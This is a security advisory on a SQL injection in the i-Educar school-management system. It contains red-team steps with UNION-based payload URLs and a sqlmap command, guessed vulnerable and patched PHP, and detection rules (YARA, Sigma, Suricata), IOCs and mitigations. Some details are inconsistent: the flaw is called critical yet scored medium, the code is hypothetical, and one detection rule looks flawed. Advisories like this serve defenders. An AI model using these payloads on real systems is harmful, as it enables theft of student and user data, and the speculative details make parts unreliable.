CVE-2025-10846

Executive Summary

CVE-2025-10846 is a critical SQL injection vulnerability discovered in Portabilis i-Educar, an open-source educational management system widely used in Brazilian schools and municipalities. The flaw resides in the /module/ComponenteCurricular/edit endpoint, where the ID parameter is not properly sanitized before being used in a SQL query. This allows an unauthenticated remote attacker to inject arbitrary SQL commands, potentially leading to data exfiltration, authentication bypass, or full database compromise. The exploit has been publicly disclosed, increasing the risk of active exploitation. No official patch has been released at this time.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a direct vulnerability in the PHP-based i-Educar application. However, organizations using i-Educar should audit their deployment for any third-party plugins or custom modules that may also be affected.

CVSS Breakdown & Threat Level

• CVSS Score: 6.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: None (PR:N) – No authentication is needed.
• User Interaction: None (UI:N) – The victim does not need to perform any action.
• Scope: Unchanged (S:U) – The vulnerability does not affect other components.
• Confidentiality Impact: Low (C:L) – Limited data exposure is possible.
• Integrity Impact: Low (I:L) – Some data modification may be possible.
• Availability Impact: Low (A:L) – Limited service disruption may occur.

Threat Level: Medium. The low EPSS score (0.0%) suggests limited active exploitation currently, but the public availability of the exploit and the lack of a patch elevate the risk for unpatched systems.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the ID parameter of the /module/ComponenteCurricular/edit endpoint. The application likely constructs a SQL query by directly concatenating the user-supplied ID value without proper sanitization or parameterized queries.

Example vulnerable PHP code (conceptual):

$id = $_GET['ID'];
$query = "SELECT * FROM componente_curricular WHERE id = $id";
$result = mysqli_query($conn, $query);

An attacker can inject SQL commands by providing a malicious value for ID, such as:

1 UNION SELECT username, password FROM users

This would return the usernames and passwords from the users table alongside the legitimate data.

Impact:

• Data Exfiltration: Attackers can extract sensitive data from the database, including user credentials, student records, and administrative information.
• Authentication Bypass: By manipulating the query, an attacker may be able to log in as an administrator without a valid password.
• Database Compromise: In some configurations, the attacker may be able to write files to the server or execute system commands, leading to full server compromise.

Vulnerable vs. Patched Code

Vulnerable Code (i-Educar <= 2.10):

// /module/ComponenteCurricular/edit.php
$id = $_GET['ID'];
$sql = "SELECT * FROM componente_curricular WHERE id = $id";
$result = mysqli_query($conn, $sql);

Patched Code (Hypothetical):

// /module/ComponenteCurricular/edit.php
$id = intval($_GET['ID']); // Cast to integer
$sql = "SELECT * FROM componente_curricular WHERE id = ?";
$stmt = mysqli_prepare($conn, $sql);
mysqli_stmt_bind_param($stmt, "i", $id);
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);

The patched version uses parameterized queries (prepared statements) to ensure the ID value is treated as data, not executable code. Alternatively, input validation (e.g., intval()) can mitigate the issue, but prepared statements are the recommended approach.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A vulnerable instance of i-Educar (version <= 2.10)
• A web browser or tool like curl, sqlmap, or Burp Suite

Manual Exploitation:

1. Identify the vulnerable endpoint: http://target/module/ComponenteCurricular/edit?ID=1
2. Test for SQL injection by appending a single quote: http://target/module/ComponenteCurricular/edit?ID=1'
   • If an error is returned (e.g., "You have an error in your SQL syntax"), the endpoint is vulnerable.
3. Use a UNION-based injection to extract data:

   http://target/module/ComponenteCurricular/edit?ID=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10--
   

   Adjust the number of columns based on the original query.
4. Extract database information:

   http://target/module/ComponenteCurricular/edit?ID=1 UNION SELECT 1,table_name,3,4,5,6,7,8,9,10 FROM information_schema.tables--
   

Automated Exploitation with sqlmap:

sqlmap -u "http://target/module/ComponenteCurricular/edit?ID=1" --batch --dbs

Example Payload:

GET /module/ComponenteCurricular/edit?ID=1%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10-- HTTP/1.1
Host: target

Blue Team (Defensive)

Detection:

• Monitor web server logs for unusual SQL keywords in the ID parameter (e.g., UNION, SELECT, OR, AND, --).
• Look for repeated requests to /module/ComponenteCurricular/edit with varying ID values.
• Use a Web Application Firewall (WAF) to block SQL injection patterns.

Mitigation:

• Immediately apply input validation and parameterized queries if you have access to the source code.
• If patching is not possible, consider disabling the vulnerable endpoint or restricting access via .htaccess or firewall rules.
• Implement a WAF rule to block requests containing SQL injection patterns.

Lab Setup:

1. Download i-Educar version 2.10 from the official repository (or use a Docker image if available).
2. Install and configure the application with a MySQL/MariaDB database.
3. Access the vulnerable endpoint and test the exploit.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /module/ComponenteCurricular/edit with ID parameter containing SQL keywords (e.g., UNION, SELECT, OR 1=1).
• Unusual response sizes or error messages containing SQL syntax errors.

File IOCs:

• Modified PHP files in the /module/ComponenteCurricular/ directory (if the attacker uploaded a webshell).
• Suspicious files in the web root (e.g., shell.php, cmd.php).

Log IOCs:

• Web server logs showing repeated requests to the vulnerable endpoint.
• Database logs showing unexpected queries (if enabled).

Example Log Entry:

192.168.1.100 - - [10/Jan/2025:12:34:56 +0000] "GET /module/ComponenteCurricular/edit?ID=1%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10-- HTTP/1.1" 200 1234 "-" "Mozilla/5.0"

Detection Engineering

YARA Rule

rule CVE_2025_10846_SQLi_iEducar {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-10846 in i-Educar"
        author = "Valters IT"
        date = "2025-01-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-10846"
        severity = "high"
    strings:
        $s1 = "/module/ComponenteCurricular/edit" ascii wide nocase
        $s2 = "ID=" ascii wide nocase
        $s3 = "UNION" ascii wide nocase
        $s4 = "SELECT" ascii wide nocase
        $s5 = "OR" ascii wide nocase
        $s6 = "AND" ascii wide nocase
        $s7 = "--" ascii wide nocase
        $s8 = "1=1" ascii wide nocase
    condition:
        $s1 and $s2 and (any of ($s3, $s4, $s5, $s6, $s7, $s8))
}

Sigma Rule

title: SQL Injection Attempt Against i-Educar CVE-2025-10846
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects SQL injection attempts targeting the /module/ComponenteCurricular/edit endpoint in i-Educar
author: Valters IT
date: 2025/01/10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-10846
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - "/module/ComponenteCurricular/edit"
            - "ID="
        cs-uri-query|contains|all:
            - "UNION"
            - "SELECT"
    condition: selection
falsepositives:
    - Legitimate use of the word "UNION" in a search query (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-10846 SQL Injection Attempt - i-Educar";
    flow:to_server,established;
    content:"/module/ComponenteCurricular/edit";
    http_uri;
    content:"ID=";
    http_uri;
    pcre:"/(UNION|SELECT|OR|AND|--|1=1)/i";
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
    reference:cve,2025-10846;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate Vulnerable Systems: If possible, take the affected i-Educar instance offline or restrict access to trusted IPs only.
2. Apply Virtual Patching: Use a WAF to block SQL injection patterns targeting the /module/ComponenteCurricular/edit endpoint.
3. Monitor Logs: Actively monitor web server and database logs for signs of exploitation.

Long-Term Fixes:

1. Upgrade i-Educar: Check for an official patch or upgrade to a version where this vulnerability is fixed. If no patch is available, consider forking the repository and applying the fix manually.
2. Code Review: Conduct a thorough code review of all endpoints that accept user input, especially those that interact with the database.
3. Implement Secure Coding Practices: Use parameterized queries (prepared statements) for all database interactions. Avoid direct concatenation of user input into SQL queries.
4. Regular Security Audits: Perform regular penetration testing and vulnerability scanning on the application.

Workaround (if patching is not possible):

• Disable the vulnerable endpoint by modifying the web server configuration (e.g., Apache .htaccess):

  <LocationMatch "/module/ComponenteCurricular/edit">
      Deny from all
  </LocationMatch>
  

• Alternatively, add input validation in a custom middleware or proxy to reject requests with suspicious ID values.

Valters IT
Securing Your Digital Frontier